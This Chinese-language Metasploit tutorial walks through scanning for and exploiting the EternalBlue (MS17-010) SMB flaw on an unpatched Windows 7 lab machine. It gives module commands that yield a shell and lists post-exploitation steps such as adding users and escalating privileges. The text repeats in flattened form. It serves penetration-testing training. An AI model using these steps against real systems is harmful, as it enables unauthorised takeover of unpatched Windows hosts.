Metasploit入门系列(六)——永恒之蓝
字数 1111 2025-08-18 11:39:00

Metasploit永恒之蓝(MS17-010)漏洞利用详解

一、永恒之蓝漏洞概述

永恒之蓝(MS17-010)是微软Windows操作系统SMB服务中的一个远程代码执行漏洞,于2017年3月被微软修补。该漏洞影响Windows 7、Windows Server 2008等多个版本的操作系统。

二、环境准备

1. 靶机要求

  • Windows 7系统(未打2017年3月补丁)
  • 关闭防火墙或允许SMB流量
  • 使用SMBv1协议

2. 攻击机配置

service postgresql start  # 启动PostgreSQL数据库
msfdb init                # 初始化Metasploit数据库
msfconsole                # 启动Metasploit框架

三、漏洞探测

1. 使用扫描模块

search ms17_010  # 搜索相关模块
use auxiliary/scanner/smb/smb_ms17_010  # 使用探测模块
set RHOSTS <靶机IP>  # 设置目标IP
run  # 执行扫描(注意不是RUN)

2. 探测模块说明

  • smb_ms17_010模块位于scanner目录下,专注于漏洞探测
  • 如果显示靶机存在漏洞,则可进行下一步利用

四、漏洞利用

1. 主要利用模块

use exploit/windows/smb/ms17_010_eternalblue
set RHOST <靶机IP>
run

成功执行后将自动获取shell。

2. 其他利用模块

(1) ms17_010_command模块

use auxiliary/admin/smb/ms17_010_command

特点:

  • 自带命令执行功能
  • 比完整exploit更低调
  • 位于admin目录下,侧重管理功能

(2) ms17_010_psexec模块

use exploit/windows/smb/ms17_010_psexec

使用条件:

  1. 防火墙允许SMB流量
  2. 目标使用SMBv1协议
  3. 目标缺少MS17-010补丁
  4. 目标允许匿名IPC$和管道名

可使用scanner/smb/pipe_auditor模块检查这些条件。

(3) Windows 8专用模块

use exploit/windows/smb/<win8专用模块>

专门针对Windows 8系统的利用模块,配置选项较少。

五、后渗透操作

获取shell后可执行以下操作:

  • 添加用户
  • 提权
  • 远程登录
  • 其他后渗透操作

六、模块选择建议

  1. 纯探测需求:优先使用scanner/smb/smb_ms17_010
  2. 低调利用需求:使用ms17_010_command模块
  3. 完整利用:使用ms17_010_eternalbluems17_010_psexec
  4. Windows 8系统:使用专用模块

七、常见问题

  1. 新版本探测模块问题

    • 新版本Metasploit中的某些探测模块可能对某些系统版本效果不佳
    • 旧模块可能探测到而新模块无法探测到的情况确实存在
  2. 模块选择玄学

    • 不同Windows版本对模块的响应不同
    • 遇到问题时建议尝试所有相关模块
  3. Win7与Win8差异

    • Win8系统默认配置可能更易受某些模块攻击
    • 具体原因可能与系统默认服务和协议配置有关

八、最佳实践

  1. 测试前确认靶机系统版本和补丁状态
  2. 按照探测→利用的顺序操作
  3. 根据需求选择合适的模块(探测/命令执行/完整利用)
  4. 记录测试结果,建立不同系统版本的利用经验库

通过以上步骤,可以系统性地测试和利用MS17-010永恒之蓝漏洞。实际渗透测试中应根据目标环境灵活选择最适合的模块和方法。

Metasploit永恒之蓝(MS17-010)漏洞利用详解 一、永恒之蓝漏洞概述 永恒之蓝(MS17-010)是微软Windows操作系统SMB服务中的一个远程代码执行漏洞,于2017年3月被微软修补。该漏洞影响Windows 7、Windows Server 2008等多个版本的操作系统。 二、环境准备 1. 靶机要求 Windows 7系统(未打2017年3月补丁) 关闭防火墙或允许SMB流量 使用SMBv1协议 2. 攻击机配置 三、漏洞探测 1. 使用扫描模块 2. 探测模块说明 smb_ms17_010 模块位于 scanner 目录下,专注于漏洞探测 如果显示靶机存在漏洞,则可进行下一步利用 四、漏洞利用 1. 主要利用模块 成功执行后将自动获取shell。 2. 其他利用模块 (1) ms17_ 010_ command模块 特点: 自带命令执行功能 比完整exploit更低调 位于 admin 目录下,侧重管理功能 (2) ms17_ 010_ psexec模块 使用条件: 防火墙允许SMB流量 目标使用SMBv1协议 目标缺少MS17-010补丁 目标允许匿名IPC$和管道名 可使用 scanner/smb/pipe_auditor 模块检查这些条件。 (3) Windows 8专用模块 专门针对Windows 8系统的利用模块,配置选项较少。 五、后渗透操作 获取shell后可执行以下操作: 添加用户 提权 远程登录 其他后渗透操作 六、模块选择建议 纯探测需求 :优先使用 scanner/smb/smb_ms17_010 低调利用需求 :使用 ms17_010_command 模块 完整利用 :使用 ms17_010_eternalblue 或 ms17_010_psexec Windows 8系统 :使用专用模块 七、常见问题 新版本探测模块问题 : 新版本Metasploit中的某些探测模块可能对某些系统版本效果不佳 旧模块可能探测到而新模块无法探测到的情况确实存在 模块选择玄学 : 不同Windows版本对模块的响应不同 遇到问题时建议尝试所有相关模块 Win7与Win8差异 : Win8系统默认配置可能更易受某些模块攻击 具体原因可能与系统默认服务和协议配置有关 八、最佳实践 测试前确认靶机系统版本和补丁状态 按照探测→利用的顺序操作 根据需求选择合适的模块(探测/命令执行/完整利用) 记录测试结果,建立不同系统版本的利用经验库 通过以上步骤,可以系统性地测试和利用MS17-010永恒之蓝漏洞。实际渗透测试中应根据目标环境灵活选择最适合的模块和方法。